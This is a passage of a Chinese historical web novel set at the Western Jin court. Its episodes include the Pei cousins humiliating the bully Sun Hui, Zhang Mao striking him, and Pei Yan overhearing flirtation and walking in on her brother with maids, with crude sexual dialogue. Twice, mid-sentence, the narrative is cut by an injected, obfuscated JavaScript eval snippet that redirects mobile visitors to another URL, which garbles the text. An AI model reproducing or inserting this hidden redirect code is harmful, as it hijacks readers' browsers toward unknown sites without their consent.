见裴妍一脸茫然,裴妡叹气,暗忖堂姊离京多年,怕是早忘了咱们这位天子是什么德性了,便将那肉糜的典故和堂姊说了。 裴妍听罢,只觉万分失落,正如裴妡所言,若这事连皇帝都管不了,那天底下也就只有皇后可以管了。 她讪笑着摇了摇堂妹的胳膊:“你明日回宫,若能见着娘娘,跟她提一提这事?听阿茂哥说,人吃人,是要上史书的。娘娘操劳半生,想来不希望史官这么写她。” 裴妡没敢应声,嘴角微微含着苦笑。 娘娘?她这些日子要么忙着跟太子斗法,要么忧心四方胡人暴乱,对于这等小灾荒,只怕晓得了也不会重视。 “我尽力吧!”与裴妍解释不通,又不忍见她失望,裴妡只好这么敷衍着,一如此前的王导。 事实正如裴妡所料。翌日,她趁着皇后来与河东公主一同用膳时,把这事当奇闻说了。河东公主惊骇不已,进了一半的肉丸子生生吐了出来。 皇后眉头微蹙,放下金箸,意味深长地点了裴妡一句:“民间的乌糟事何必当真,许是茂弘(王导)看错了也未可知。” 原来王导也将此事报与了皇后知晓,只是贾后懒得管罢了。 也是,在以皇后为首的很大一部分人眼里,生灵涂炭,易子而食算什么,只要易的不是自家孩子,煮熟了,不就是一锅肉嘛。 裴妡默默地放下手里的银箸,看着满案的佳肴,顿觉无味——她这才体会到裴妍的心情。 只是,她也好,裴妍也罢,又能如何?天子痴傻,皇后不管,她这个公主伴读还能下旨赈灾不成? 若干年后,司马家风雨飘摇,山河梦碎,裴妡于衣冠南渡的客船上,遥望那浩荡江水,蓦然回想起此事,才惊觉,原来一切早已埋下伏笔。 这样的帝后,这样的家国,焉能不败! 29. 见仇人分外眼红,遇二姝孙会遭殃 小郭氏和裴妍回到钜鹿郡公府后,先是祭奠了一番三年前东郊惨案中逝去的家仆,又舍了不少私房与她们家人。仆婢纷纷夸赞长房仁厚。 不管前尘如何,既然回来了,日子便得接着过。 裴妍离京三年,洛阳的风物多少有些变化。比如东市新开了一家名叫“一瓯春”的胭脂作坊,所卖的胭脂质地上乘,抹上后能让人艳若朝霞。世家豪门的女眷纷纷抢着订他家的货。 裴家是这家作坊的座上宾,原有管事定期送货上门,但裴妡今日不想拘在家里,又不想那么早回宫,干脆一大早就拉着裴妍来店里逛逛。 刚过了早晌,初夏的阳光并不刺眼。铜驼大街上入衙的郎君们已经散尽,只有两个头戴幂离的仕女在仆从的簇拥下不紧不慢地信步闲逛。 “不是说去一瓯春挑胭脂么?”裴妍不解的问。 “急什么,好不容易出来一趟,不得好好走走?”裴妡显然闷坏了。 裴妍从善如流,她很久没回京城,也想到处转转。 不料即便二人轻纱遮面,还是被有心人一眼认了出来。 “阿妍?”裴妍听到熟悉的叫唤,回头见张茂一身黑色官服,腰佩铜印黄绶,牵着马停在二人身后。 张茂前一阵刚被举为郎官,授佐著作郎,跟着陈寿编史。 他本想搬回张家住,然而裴頠也好,裴憬也罢,皆舍不得放他走,仍留他住在府里。正好钜鹿郡公府离兰台不远,张茂办公出行也方便,干脆从善如流地继续住在钜鹿郡公府。 裴妍很惊讶:“咦?阿茂哥怎么在这?你不是应该在衙署办公吗?” 张茂几日前向天子禀明过晋中灾情,然而天子痴傻,并未当回事。他决议去寻掌管实务的张司空,看他对此事有何弥补之法。正好陈著作有一批勾陈好的史料要与张司空过目,他便借机来司空府。 “我去张司空府上送些典籍。”张茂道,“倒是你二人,不在家里待着,出来乱跑什么?”张茂虽是裴府清客,但这些年裴家的长辈都把他当子侄待,他也尽心尽力地为裴家谋事,是以他在两个女郎面前,很有几分兄长的威严。 裴妍却不怕他:“我和阿妡欲往一瓯春买胭脂。” 张茂抬头看了眼四周,好笑道:“一瓯春在城西,离这里甚远,你们迷路了不成?” “可不是,”裴妡睁眼说瞎话道,“要不阿茂哥送我们过去吧?” 张茂沉吟片刻,道:“也罢,张司空府就在临街,你们稍待我片刻。我办完事,便护送你们去胭脂店。” 有他陪着,长辈们也能放心不是?如今裴家双姝的美名早已传了开去,就怕有那等无良之辈趁乱偷香。 裴家二女乖乖地上了跟在后面的牛车,张茂护卫在侧。 司空张华这两日对外宣称身体不适,告假在家。其实是贾后和太子又闹龃龉,他忙着避祸呢! 然而今日,他府上却注定不得太平。 春夏之交,正是宜人之时。书房里,张华正兴致勃勃地和老妻调香研墨,家老匆匆跑来,禀道:“郎主不好了,那个孙校尉与张二郎在门口起了争执!” 张司空听罢,手下一抖,好好的一张墨兰图就晕糊了。心道不好,怎么让他俩给撞上了?冤家路窄啊! 张华的夫人问他:“夫君可要出去主事?” 张华想了想,摇头笑笑,重又提笔,点着兰草道:“我出去帮谁都不好,有阿茂在,足以应对。” 司空府角门。 孙会指着门口来劝架的家老道:“府上待客真有意思,我一个比二千石的校尉尚且在这里坐冷板凳,这小子却能不用通传就随意进出府里?合着在诸位眼里,我这银印青绶的射声校尉还不如一个小小郎官?” 他拿手指着名为劝架、实则回护张茂的一帮司空府家奴:“定是你们这帮小人见我初来洛阳,欺我脸生,没能及时通传!知道我父亲是谁吗?当初你们这位张小郎的阿耶都得给我父亲牵马,你们居然敢这么对我,就不怕给你们司空惹祸么!” 此人本就五短身材,还长了一张布满麻子的柿饼脸,哪怕穿上校尉服饰,也给人以猥琐之感。如今他公然在司空府门前挑事,嚣张跋扈地丑态更让人厌恶。 张茂皱眉,真是冤家路窄! 这厮叫孙会,是赵王心腹孙秀的独子,在家里很受宠。这个混球,在凉州时就仗着他阿耶到处惹是生非、胡作非为,没想到四年未见,竟荣升了校尉,还被调来京里。不用问,定是他阿耶的功劳! 只是他怎么撒泼也不看地方,还当这里是凉州呢?司空府门前也敢张狂? 张茂不想与这蠢货多话,但也不想让他在司空府前节外生枝,辱没张司空官声。 他按下火气,走到孙会面前,躬身一礼,指指身后抱着一摞竹简的仆从,旧事略过,只谈眼前:“孙校尉误会,下官此来并非拜会司空,只是奉陈著作之命,前来送些典籍罢了。” “切!”孙会对他翻了个白眼,“你带了几本破书了不起?我还奉我阿耶之命,带了那么多土仪呢!怎么不见让我进?”他一指身后排了一长队的漆箱。 张茂无语,难怪张司空不见你,非亲非故、不年不节的,有这么大张旗鼓往人家府上送东西的吗?你是来探病的还是来行贿的?孙秀也算八面玲珑的人物,怎么生了这么个蠢货! “司空近日身体不适,府里一直闭门谢客,我今日若非有差事在身,也是进不得这大门的。” 张茂句句在理,孙会却气更不打一处来。经年的新仇旧恨一齐涌上心头。 二人年龄相近,在凉州时甚至同入过征西军司,算是战友,然而关系却相当不睦。 那时孙会被他阿耶塞进军中熬资历,原本是挂个名走过场,与同样在军中熬资历的张茂一样分在后勤。 然而张茂却处处拔尖,长得好,武功也好,训练还刻苦,上战场悍不畏死,以至于军中上下,都暗暗称诵张茂为麒麟子,却把他比作癞蛤蟆。 张茂的父亲张轨也爱挑他的刺,偷懒没训练,溜出去喝酒,打劫胡商,折磨营妓…… 他但凡犯点“小错”,就要被打军棍。好不容易,他阿耶孙秀把这对碍眼的父子停了职,还把他们逼出了凉州。自此,孙会终于过上了快意的日子!西北军中再无人敢对他横挑鼻子竖挑眼,新来的长官是他父亲的人,对他向来睁只眼闭只眼。四年过去,他没打过几场胜仗,可是自有人想法子把军功算在他头上。以至于他从无品级的小校,一路飞升至比二千石的射声校尉,他阿耶还把他调到了京城繁华地,别提多风光了! 孙秀深知儿子秉性,特地修书与中枢正当权的故旧张华,拜托他对犬子照顾一二。 孙会也算听他阿耶的话,带着荐信,提着一大堆西北土仪,兴冲冲就要来拜访张司空。 张华与孙秀年轻时曾交游过一段时日,算是故人。 然而张华一向不喜孙秀为人,觉得他谄媚无道,贪婪无德,暴虐无行。尤其孙秀在雍凉这些年,不仅没能规劝辅佐赵王,反而处处助纣为虐,倒行逆施,嫉贤妒能,任人唯亲,使得西北一天比一天乱。扶风武王打下的大好局面,不过几年,就被接任的赵王和孙秀败得一干二净。 因而对于孙秀父子,张华万分不待见,直接告知家老,找个由头把他打发了。家老自然遵命照做。 孙会在司空府门口吃了闭门羹,本是无所谓的,张司空官大架子大,他能理解,下次找机会再来就是。 可偏偏孙会临出门的时候,碰上了来送史籍的张茂,这可就捅了马蜂窝! 虽说四年过去了,二人身量、长相都有了不少变化,但基本的模子没变,他们还是一眼认出了对方。 真是仇人见面分外眼红! 原本孙会看张茂混了那么多年,却只得了个铜印黄绶的小官,还想嘲笑他一番。 谁知,刚才还目中无人的司空府门房却对张茂客气得很,连通传都没要,殷勤地就把人往门内引。 张茂不过一介四百石郎官,居然可以随意进出司空府?他一个正儿八经的比二千石校尉,几次三番求见,却连司空府大门都入不得,这是何道理? 孙会一向嫉妒张茂,怎么肯在仇人面前丢人?于是直接把气撒在了守门的门房身上,哪怕张家的家老前来劝和,他也不见收敛。 这些年孙会仗着他父亲孙秀,在雍凉作威作福,早忘了什么是人外有人,天外有天。也不想想,洛阳不是凉州,他阿耶在雍凉一人之下万人之上,可在洛阳,谁认得? 孙会张口,正想编排张茂两句,却听得身后不远的一辆七宝香车上传来一个泠泠若碎玉落盘的女声:“呵,这年头,癞蛤蟆也能做官?奇事啊!” 他循声望去,只见香车上风铃叮咚,坠玉镶珠的纱帘被车边的婢女小心掀开,两个头戴幂离的窈窕女郎先后下得车来。 “阿姊,这哪里是射声校尉?合该叫蛙声校尉贴切些!长得像,说话更像!”裴妡挖苦人同样不留情面。 香风飘过,两个女郎一唱一和,袅袅婷婷走到张茂身后。 面纱下佳人清秀的面容若隐若现,孙会虽看不见二女容貌,但光看这身段风流,便能联想二女幂离后是何等风姿。 孙会脸上红一阵青一阵,又是好色引起的悸动,又是被美人羞辱带来的气恼,好不精彩。 张茂严厉地朝二姝瞥去一眼,那眼神,是感激,是担忧,亦是警告。他又瞥了眼牛车,意思叫她们莫管闲事,赶紧回车上去。 裴妍却没理他,不知为何,当她听到孙会叫嚣“张小郎的阿耶都曾给我父亲牵马”时,她只觉气不打一处来。 受张茂和裴憬影响,裴妍对老当益壮的张轨也很敬佩,想到这么一个南征北战、赤胆忠心的老将军,居然被这个癞蛤蟆的阿耶支使去牵马,这是多大的委屈! 她不知道孙会的阿耶是谁,但在京城地界,叫得上名号的人她们姊妹几乎都认识。这个孙会却脸生的很,显然不是洛阳世家圈里的。既如此,就没什么面子可给了。 “瞎说,他除开聒噪似田鸡,还长得肚圆如豕,牙突似豺、面黑类犬。”裴妍摇头。 裴妡立刻会意:“如此四不像,岂非猪狗不如?” “然也!何如叫他鬼畜校尉!”裴妍鼓掌附和! 听到这,孙会即便再好色,也掩不住被羞辱的愤怒。他上前一步,欲要与两女理论,却被张茂持臂拦下。 孙会看了眼张茂,又看了眼二女,这才了然——敢情是一伙的,专欺负我呢! 他自认怜香惜玉,没有朝女郎们发火,只挑张茂的不是:“你小子可以啊,老子在西北吃沙子,你却在洛阳左拥右抱地享清福。如今受了气,竟支使女人出来耍嘴皮子!怎么,被两个女人前后吸久了,硬不起来了?” 这荤话着实恶毒,张茂一改方才的温文,立时冷了脸,厉声对孙会道:“校尉慎言,这二位是京中贵女,非你我可以编排。” 孙会却一向看不起张茂,他只知张家投靠了河东裴氏,张茂曾给裴家的一个傻郎君做清客,更多的就不得而知了。 他下意识觉得,这样的人,能被什么贵女看上?左不过著姓疏族,小家碧玉罢了。 鉴于赵王在雍凉搅屎棍一般的功力,朝廷最近有调赵王回京、改换梁王之意。 孙会想着,以赵王的品秩资历,回京够必定官拜三公,身居高位。而他阿耶作为赵王心腹,一定也会随赵王回京捞个好差事。届时他水涨船高,还不知有多少人家上赶着逢迎他呢! 他有些惋惜地看了二女一眼。这俩女子,虽幂离遮着,看不清面容,但光瞧身段就是一等一的美人,怎么瞎眼跟了张茂这个小白脸呢? 他比张茂长一岁,却至今未订亲。他阿耶看不上西北的土豪,总想着给儿子在京城的高门贵女里找新妇。却不想想,孙家这不上不下的门第,真正的高门哪看得上他家?是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001223|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至今未找到合适的。 张茂拦得住孙会的人,却拦不住他的眼,就见他贼眉鼠眼地直盯着裴家二女看,脸上不自禁露出猥琐的笑。 张茂哪能容他,经年的怒意直冲发冠,当即收掌为拳,对着孙会肥厚的肚子就是一拳,且力道不小,直把这贪色无脑的夯货打翻在地。 孙会惨叫一声,捂着肚子满地打滚,疼得龇牙咧嘴。他身边的仆从爪牙赶紧上前扶起他,却被他一把推开。 就见他狰狞着青红的麻子脸,喘着粗气指着张茂道:“愣着作甚!这小子以下欺上,给我拿下!” 仆从们听罢却不敢妄动,他们随孙会一道初来京城,本就胆怯。张茂一身官服,又风度凛然,他们哪敢上前? 更何况,这两个女郎身后,还有一队持刀的部曲青壮。他们似与张茂很是相熟,眼见他被欺辱,不等二女发令,便拔刀向前,挡在了张茂和二女身前,将三个人牢牢护在身后。 这样的情形,哪个不长眼地敢往前冲? 孙会抱着肚子滚了一阵,好不容易缓过神来,却见身边仆从没有一个上前捉人的,他又急又气,指着他们道:“一群废物,几个喽啰都打不过,他们有刀,你们没有吗?” 为首的老仆稳重些,劝他:“司空府门口,何敢见血?” 孙会闻言,更是火冒三丈,把那个老仆推出去老远,指着他道:“司空府是皇宫么,见血会杀头吗?我在这叫了半天,那张司空可有出来主持公道?阿耶叫你跟着我是为了什么?眼见我被外人欺负吗?” 那老仆捂着犯疼的肚子,爬到孙会身边,指着为首的部曲,附耳道:“郎君,彼所持乃司马刀,恐贵人家仆也。” 裴家为首的部曲正是家老裴参的儿子裴池。他骄傲地亮了亮手里的环首刀,没想到这蠢货手底下还有识货的人哩!这刀确实是先帝赐给他父亲的!(西晋初年,刀大量装备部队,需求量极大。《刀剑录》载:西晋司马炎咸宁元年造刀八千口,铭曰司马。) 孙会哪懂什么司马刀,他只知今天他是丢脸丢到老家去了。他有心找回场子,却架不住对方气势如虹,己方畏首畏尾。 他只好暂且鸣金收兵,拽过这老仆,咬牙切齿地道:“你且回去查查张茂身后二女来历,总觉得这小子近年走了大运。”又自己找台阶对着张茂一行道:“姓张的,别以为爷爷怕你,今日看在司空大人面上,我不与你计较,来日再让我遇上,仔细你的皮!还有,管好你的女人,别一不小心,让别人钻了洞!” 此等污言秽语,裴家二女听得懵里懵懂。 张茂却恨不能手撕了这烂人。 然而他到底忍住了,当务之急,是把裴家女郎先送回家去。 司空府门口虽说被双方部曲把持着,外来行人不敢靠近,但难保没有好事者传扬闲言,虽说裴妍和裴妡有幂离遮面,但张茂太显眼了,认识他的人不少,难保他身后的二女不会被有心人认出。裴家女郎名声何等重要,万不能被这乌糟的混蛋给毁了! 孙会收拾了门口一摊土仪就要撤,裴妍却不打算放过他。这些年,她在乡下,跟着裴娴一起玩久了,多少学了点土霸王的手段。 她背着张茂,召来裴池,与他耳语几句。裴池点头,回头叫了几个人,待孙会一行狼狈逃离后,他们也悄悄跟了上去。 张茂觉得蹊跷,欲拦住他们,却被裴妍拉回来:“说好了送我们去胭脂铺呢,如今都快晌午了,再不走我们就要回家啦!” 张茂无奈地被裴妍姊妹拉走,只来得及对裴池投去警告地一瞥。 裴池摸摸鼻子,回他一个“我有分寸”的眼神。 张茂无奈,心想,裴池素来稳重,总不会跟着胡闹吧! 待到晚晌,裴池一行才回来。 张茂一直等着他呢,便借裴憬的名义把他叫来。 裴池本想胡乱诌个谎,说是帮女郎买东西去了。然而张茂岂是好糊弄的,他到底没藏住,小声道:“我在外面听人说那孙郎君归家不久,即外出章台,不意跌入茅厕!” 一旁的裴憬不疑有他,拊掌叫好,解恨地道:“该!如此烂人,就该去吃点黄水!”他听妹妹说了上午的事,很是气愤。至于孙会是怎么好端端的如厕时掉到粪坑里去的?他却没脑子细想。 张茂瞪了裴池一眼。裴池胆怯地往后缩了缩脖子。 “小儿行径!” 裴池轻咳一声,连忙作揖告退。 消息传到内室,正收拾行李、预备第二日进宫的裴妡大笑不已。大笑之后又觉欣慰,三年未见,阿姊不仅变美了,也晓得用些手段了!她姐不是心慈手软的二傻子,她也就放心了。 风起于青萍之末。 孙会府上,部曲小心翼翼地禀奏调查所得。 孙会正趴在榻上,由爱妾给他涂抹香膏。听罢下属的汇报,内室突然传出一阵噼里啪啦的响动。 外间的婢子斗胆朝里看去,只见一个披头散发的黑胖子撩帘而出,眼圈赤红,目眦欲裂,咬牙切齿道:“好一个张茂,好一个裴家!” 原来孙会痛定思痛,越想越觉得自己掉茅厕的事蹊跷。 他初来京城,除了张茂这一个宿敌,还没来得及与谁结仇。虽不知其中关窍如何,但大抵也能猜到,晚上这事,定是那张茂的手笔! 于是孙会连夜派人调查,果然发现了些端倪。自己前脚刚进酒楼,白日里护着张茂和他的小娘们的那几个部曲后脚就跟了进来,要说自己掉进粪坑不是他们害的,怎么可能? 幸亏他手下有个做过斥候的小厮留了心眼,偷偷跟着这帮部曲一路寻到了钜鹿郡公府门口。这才知道原来这里面还有裴家人的手笔! 孙会越想越不甘心,对张茂及庇护张茂的张司空和裴侍中亦恨之入骨! 他费了好大劲,才将这口窝囊气忍了下去——如今他阿耶不在京中,孙会知道,光凭他自己压根没能耐报复回去,只能暂且忍下,静待时机! 30. 俏韩芷风流成性,傻裴憬左拥右抱 裴妡身为公主伴读,不可能总待在家里。自她进宫后,裴妍便有些百无聊赖起来。 她刚回京,郭太夫人和王夫人属意她多休息,短期内未给她安排课业。裴憬被他叔安了个郎官的虚衔,无需坐衙,只上半晌仍要去族公和祖师父那里用功。裴崇、裴该还有张茂都有公职在身。老夫人打坐悟道,轻易不见人。小郭氏大病初愈,大部分时间仍需静养。王夫人料理家事,忙得昏天黑地。两个嫂子,一个怀孕,卧床待产;一个长居公主府,等闲见不着人。至于下一辈的侄子侄女们,又都太小。她总不能整天和一群娃娃待在一起吧! 是以偌大的钜鹿郡公府,竟只有裴妍是无所事事、游手好闲的那个,能不无聊? 这天早晌过后,裴妍禀过小郭氏,戴了遮面的幂离,携了容秋和一队部曲,去西市闲逛。 不想在一瓯春里,竟遇上了熟人——韩芷自打开府另居后,过得好不惬意。娘家放任她,婆家不管她。她手握大把嫁妆,想怎么挥霍就怎么挥霍。 裴妍进门的时候,韩芷已经在二楼的雅间待了一会了。裴妍被请到了她隔壁的隔壁,二人中间只隔了两道半遮光的竹帘。 彼时韩芷身边还有一个着蓝绸深衣戴笼冠的郎君,光看侧影,便觉俊俏。他跪坐一边,殷勤地帮韩芷拿主意。 韩芷面前的案上平铺了一排胭脂,各色都有。 那郎君就撩起袖子,将不同颜色的胭脂抹在自己奶白的手臂上,举着膀子让韩芷选。 韩芷笑道:“你肤色比我还亮一分,胭脂抹你胳膊上好看,到我脸上却未必!” 那男子声音柔美,与她贫嘴:“小人胸上肤色倒是黑几分,要不,小人将胭脂改涂胸上,供女君品鉴?” “你胸上?”韩芷眼波流转,拿便面遮住樱桃小口:“不全是毛么?” “……”二人调情并没有刻意压低声调,被与他们仅二帘之隔的裴妍听了个十乘十。 她起初并不知道隔壁坐着的就是韩芷,只是觉得那女子的声音有些耳熟。同时,她也很好奇,谁家女郎这么大胆,敢在外面随意与郎君调笑? 于是好奇心作祟,她鬼鬼祟祟地从竹帘的缝隙里往隔壁眯眼窥了一会。 恰此时日光甚足,那薄薄的草帘被照得透透的。这才依稀认出,那头插牡丹、身着红绡金裙、肆无忌惮地与旁边郎君玩笑的女郎,不正是她表姊韩芷么! 虽说几年不见,可韩芷的大体轮廓没变,裴妍还是一眼就认出她来! 至于那个男人,因为背对着她,倒是没看清真容。但从背影来看,应该是位极俊的年轻郎君。 “苍天!”裴妍回身捂住心口,她倒是听裴妡说起过韩芷的近况,也知道她养了几个相好,只是听人家说的和现场看到的还是有区别的。尤其,他们聊天的内容过于露骨,举止又那么亲昵,让还是在室女的裴妍哪里受得住,她只觉现在的自己脸红心也跳,浑身躁得慌。 婢女容秋也还是童女身,主仆二人在这狭小的一方雅室里,顿觉如坐针毡。 隔壁的韩芷和男人还不知收敛,竟得寸进尺起来。 就听那郎君道:“女郎若不喜欢,小人把胸前的毛发尽数剃掉就是!” 韩芷吃吃笑道:“我不要你剃那里的毛,我要你剃那里的毛!” 同样两句话,前一句“那里”轻声,后一句“那里”重读,显然大有乾坤。 裴妍和容秋面面相觑,什么这里那里的?不过想也知道,肯定不是好话,否则那郎君何以□□起来,接口道:“那里小子自己剃不了,需劳驾女君操刀。” 韩芷嗔道:“我手艺不行,三郎不怕我一抖,割错地儿?” 那男人抓住韩芷的手,边温柔抚摸边表起忠心来:“小人命都是女君的,何惜那腿间二两肉!” 裴妍与容秋惊恐对视,男人腿间的二两肉,那不就是…… 裴妍再也坐不住,一把拍案而起,拿便面遮脸,撩起门口的纱帘冲了出去。容秋叫唤不及,只得匆匆跟上,与进门给她们添水的婢子冲撞成一团。 韩芷听到动静才发现,原来隔壁有人?不过她无所谓,依然淡定地坐着饮茶。反正她的名声在这京城里早就臭名远扬,她也懒得洗白。 倒是她身边的郎君一脸恐慌地看向她:“女君,三郎不察,方才言辞多有不雅……这可如何是好?” 韩芷慢条斯理地吃了口茶,拿眼斜乜着跪坐脚边的男人,轻嗤:“瞧你这怂样,方才不是浪得很,如今反倒怕起来?当年你进我府里的时候怎么不见这窘迫之态?还是三郎觉得,会有人拿今日之事去兰台说事?影响你那好不容易积攒起来的官声?” 那男人赶紧摇手:“不敢不敢,只是小子今日与陈著作告的病假,才得以出来与女郎相会。若被人检举到陈著作那,您也知道,陈寿此人,迂腐得紧,他本就不喜小人,此番,怕是更容不得我了!” “兰台皆知,小人是贾家举荐的。小人丢官是小,女君与郎主折了面子是大。”那男子雌伏在地,言辞凿凿。 “为贾家担忧?呵!你是什么玩意儿?也配?”韩芷舒展了身子,慵懒地歪靠在缇几上,拿穿着罗袜的脚背轻抚男人的脸:“我最讨厌的,就是你这种心口不一的小人!若非看你这张脸与那人有几分相似,何必留你?” 那男子听得浑身一抖,吓得赶紧离席,跪伏下首,讷讷不敢言。 韩芷却好似发泄完了似的,心情好了一点,拿脚尖点点男人额头,安抚道:“放心,那陈著作,他但凡还想写书,就得容下你!官声,呵,虚名而已,在权势面前,一文不值!只要你听话,把我哄开心了,我保你仕途顺遂,半生荣华!” 言罢她击掌三声,很快有婢子进得门来。原来方才韩芷与董三郎亲热,她的贴身婢子便隐到了外间。 韩芷问她:“方才坐隔壁的是谁?为何不拦着?” 那婢子答道:“是钜鹿郡公府的元娘。裴家势大,奴不敢拦。” “哦!”裴妍啊!算是自己人,韩芷放下心来,拦不拦的,倒无所谓。 旋而,她似乎想到什么,不禁莞尔:“走得动静那么大,看来我那小表妹吓得不轻呀!” 裴妍确实被吓得魂不附体。她与容秋从一瓯春出来后,仍然心肝乱颤,再无心闲逛,径直回了府里。 哪怕如今饮了凉水,躺在床上,她仍然觉得自己的心在扑通扑通乱跳。这这这…… 她简直找不出词语来形容目下的心情。 长这么大,她不是没有肖想过将来婚后夫妇相处的情态,但也仅限于拉拉小手罢了。 裴娴之前跟她说起男女之间的那点事,她还犹自不信,今日亲眼见识了韩芷与男宠的日常,方知过去的自己简直孤陋寡闻。 人家不仅肌肤相亲,还能玩出各种花样来!花样?她不可控地再次想起多年前在王家别院看到的种种不堪。木槿痛苦的呻吟与韩芷嬉笑的俏脸融合在一处,裴妍只觉浑身不舒服,捂住胸口几欲作呕。 容秋急道:“女郎可要请和缓来?” 裴妍摇摇手,平复了点心绪,道:“我去寻大兄说说话。” 家里的平辈只有裴憬是闲差,过了上半晌便得空了,哪像其他人忙的要死。 裴妍内心郁闷,可这种事又无法对阿母启齿。 裴憬既是她的兄长,也是她亲密的玩伴。小时候,但凡裴妡不在家,她就与裴憬混在一处。 然而今次,她却被裴憬的小厮长河拦在了内室外面。 裴妍不解,又有些生气。她不过回老家待了三年而已,裴憬什么时候也对她设防了?尤其长河还支支吾吾地,拦人又说不出个缘由。 裴妍怒极,一个眼风扫给容秋。 容秋会意,仅出一只手,就制住了长河的手脚。 长河刚想叫唤,又被容秋拿另一只手捂住了嘴。 他只能扭着身子,朝裴妍呜呜地摇头,似乎很着急。 裴妍没管他,大喇喇地拉开了裴憬内室的槅门。 一进里间,是一个阔大的四面琉璃屏。绕过屏风,重重纱幔低垂,阻住了午后绚烂的暖阳,整个内室透着昏暗的暧昧。 裴妍的双脚却像被灌了铅,再不能往前挪一步——半透的纱幔之后,隐隐能看到里间床榻的罗帐里印出三个交叠的身影,里面不时传来男人粗重的喘息和女子似哀似乐高低不匀的呻吟。 中间还夹杂着一些“大郎可怜奴家,奴受不住了。”“这就受不住了?你可不如你姐姐!”“郎君又讲浑话。”之类的对话。 裴妍瞬间脸红脑胀。她即便再无知,也大概猜到,里面的一男二女在做什么。 她慌张地回身,却不意撞倒了身后的屏风,四面琉璃屏轰然倒地,落了一地的渣滓碎屑,在阳光的照射下,五彩斑斓宛如繁星。 裴妍突然安静下来,径自盯着脚下的星星点点愣神。 巨大的动静既惊到了房里的男女,也让守在门外的容秋吓得松了手。 瞬时,里外的人都紧张起来,裴憬匆匆披衣撩帘探看外面,却见自家妹妹正怔怔地立在门口,对上妹妹喷火的眼神,他吓得一缩脖子躲回了帐内。 长河终于挣脱容秋的桎梏,匆匆到里间伺候自家郎君更衣。 容秋则赶紧拉着裴妍避到了外间。 不久,裴憬房里跑出两个衣衫不整的婢女,捂着衣襟红着脸朝裴妍行了一礼,就要往外走。 “站住!”裴妍突然开口叫住她们,两个婢子赶紧回身跪地。 裴妍一言不发地地围着她们转了两圈,两个婢子面上惶惶,都不晓得这位长房嫡女要干嘛。 裴妍眯着眼盯着她们的脸半天,这才依稀认出:“你们不是大母身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这……也不单单是给我的,我和阿茂都有。阿茂都没推辞,我又怎好推脱。那句话怎么说来着,长者赐,不敢辞嘛!”裴憬为自己辩解道。 裴妍脸色一变:“你是说,大母不仅赏了你,连阿茂哥也有?” 裴憬点头:“大母待他素来与我一般无二,自然也赐了两个。”想想又补充了一句:“真论起来,他得的婢子,容色还超过我的哩。” 不知为何,裴妍心里突然酸起来。他哥宠幸婢子,她只是生气,可是听说张茂也有,她不仅生气,还觉得心口堵得慌。 她想到方才哥哥与那两个婢子行房时的污言秽语,便觉一阵恶心。 再把哥哥置换成光风霁月的张茂,她只觉心口的酸疼愈演愈烈! 她突然站起来,看了看裴憬,又看了眼长河,只觉这里一刻也待不下去了! “男人都是坏东西,表面看端方君子,背地里呢,玩弄起女人来全都荒淫无耻!” 这话说的裴憬老脸一红,他没玩女人啊,喊两个婢子上床这叫玩么?不是,都是他的女人,他是一个一个来还是同时上有区别吗? 任裴憬怎么解释,裴妍依然气鼓鼓地走了。 从裴憬的院子出来就是张茂的“慎独院”。 裴妍出来时忍不住在张茂院子的那块匾额下驻足,盯着有如铁画银钩的“慎独”二字好久,突然开口讽道:“男人真恶心,明明身边一堆女人伺候着,还喊孤独!” 仍在兰台里办公的张茂只觉背上一寒,勾陈史料的手狠狠抖了抖。他紧了紧自己的衣襟,看了眼窗外,恶月将至,他怎么反倒冷起来了? 好在裴妍身边有容秋。她敏感地意识到,裴妍对她的前主人似乎有着隐秘地连她自己都未曾察觉的误会。 她想起日前回家探亲时得的消息,忍不住开口为张茂正名:“女郎,张郎君确曾收过两个婢子,不过没有放在身边伺候,而是一到手就打发回张府去了。” 裴妍立时回身,震惊地看向她:“你怎么知道?” 容秋赶紧解释:“奴姑母一家仍在张郎君府上。奴日前去探亲,与她聊天时听说的。” 原来如此!裴妍酸疼的心口突然好受许多,看张茂也顺眼起来:“阿茂哥在男人里真是难得啊。” 她想起自己方才对张茂的误会,一时又有些愧疚,连忙命容秋吩咐庖里多做些扁米粽子,让拾叔给在兰台办公的张茂送去。 “他也是傻,两个婢子,好歹留一个在身边,日常送送东西跑跑腿也是好的。” 看着拾叔两头奔波,裴妍摇头叹道。 容秋笑道:“张郎君素来勤俭,日常有拾叔和听雨照料足矣!”暗地里却对她翻了一个大大的白眼,论口是心非我们女郎绝对当世第一! 31. 端阳宴贾后召见,鸣鸾阁裴妍送礼 时入五月,当京中百姓忙着洒雄黄裹角棕时,上党传来喜讯,匪首郝散被冯翊都尉欧阳建擒杀。 一时间,朝廷上下大为振奋——这场叛乱自去岁就开始了,却一直未能镇压下去。直拖到今年年后,贾后才在张华的建议下,改冯翊都尉欧阳建为帅,张轨为副,二人配合默契,不过俩月就平息了战事。 自扶风武王去后,朝廷在压制五胡的战役中已经很久没有得过大胜。捷报传来后,贾后大喜,对欧阳建和张轨亦多有赏赐。 自收到父亲的捷报后,张茂悬着的心终于放了下来。 端午这日,帝后亲临凤凰楼观洛河龙舟。一众官员贵胄随行。 张茂在兰台属官里本是资历最浅的一个,但贾后特意传旨,要召见张家兄弟。 张寔与张茂于是越众而出,随小黄门自凤凰楼底层拾阶而上,直到帝后所在的顶楼。 其时讲风仪,张寔也好,张茂也罢,虽官职不显,但行走间风度翩翩,又是一等一的好相貌,一路走来引得不少侧目。 